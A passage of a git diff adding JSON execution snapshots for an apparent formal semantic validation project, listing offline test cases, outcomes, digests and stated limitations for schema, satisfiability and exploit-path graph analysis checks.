"issue-1358-execution-v47", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1358-execution-v47", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "5085fb9bdea27f87ea137d1af2c49adaa7f162ff", + "source_state": { + "base_revision": "5085fb9bdea27f87ea137d1af2c49adaa7f162ff", + "checkout_state": "modified", + "implementation_digest": "67f1ac1f9b1e6b7177f0cc2df3ed8b3b706de8f36f1dd567a71828ac49dc719d", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v48.json b/docs/research/formal-semantic-validation/execution-snapshot-v48.json new file mode 100644 index 000000000..b9e3ce8a0 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v48.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-218-execution-v44", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v44.json", + "release_revision": "45.0.0", + "release_sha256": "64e562329eef767b3d75b5a0457aa0a36dd36da2d8eacec6880aa4dfdf1b9c3b" + }, + "captured_at": "2026-09-25T02:26:58.817893+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1360-execution-v48", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1360-execution-v48", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + 